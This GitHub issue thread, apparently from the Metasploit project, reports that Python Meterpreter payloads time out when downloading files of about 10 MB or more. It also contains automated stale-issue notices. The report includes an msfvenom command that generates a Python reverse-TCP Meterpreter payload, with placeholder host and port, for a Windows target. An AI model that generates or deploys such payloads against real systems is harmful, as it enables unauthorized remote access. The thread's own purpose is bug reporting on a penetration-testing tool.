-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Python meterpreter fails to download/upload large files (up to 10 MB) - Bug? #18717
Comments
If you log the TLV packets, does that help shed any light? Note that the logging may clutter up your msfconsole |
Upon running command "ls" and "download" I get this error in the debug console, only if output.py is ran from Python 3.12 on Windows and Linux aswell. On MSF side is "stdapi_fs_stat: Operation failed: Unknown error" With Python 3.8 ( before upgrading to 3.12) I didn't get errors in running these commands, but upon downloading large files (say 10-15 MB with a good connection) the download did randomly failed, and it never did that with native C Meterpreter. I think the python stager is made for an older version of Python that faced a deprecation library issue... Maybe the 2.7 variant... I don't have much time to investigate this, sadly. |
Thanks for taking a look! When you say 10mb, do you mean 10gb? 👀 |
Nope, 10 mb. It can still transfer small size file ranging from 2 mb to 5-6 mb with no problems. Large downloads ( 10 mb or more will 100% fail with a timeout error) I pinpoint again, I have 100 GBps connection speed. The C variant x86/x64 can download 300 MB with no issues. |
Hi! This issue has been left open with no activity for a while now. We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request. |
Hi! This issue has been left open with no activity for a while now. We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request. |
Hi again! It’s been 60 days since anything happened on this issue, so we are going to close it. As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request. |
My msf version: "metasploit v6.3.44-dev-"
my OS: Linux
My network rate speed: 100 GBps
Target OS: Windows 10, equipped with Python3.12. The error happened on Unix VMs with various python versions aswell. I tried to compile the .py in an .exe using Pyinstaller to see how it behaves with various Python versions, and it keeps crashing. Possibly a bug
The error is a timeout exception, the verbose output says to increase the delays, but it doesn't work (keep crashing even when increasing delays).
This doesn't happen with all other meterpreter variants, just with all python meterpreter payloads.
Additional configuration:
msfvenom command
msfvenom -p python/meterpreter/reverse_tcp lhost=IP lport=myownport -f raw -o output.py
The text was updated successfully, but these errors were encountered: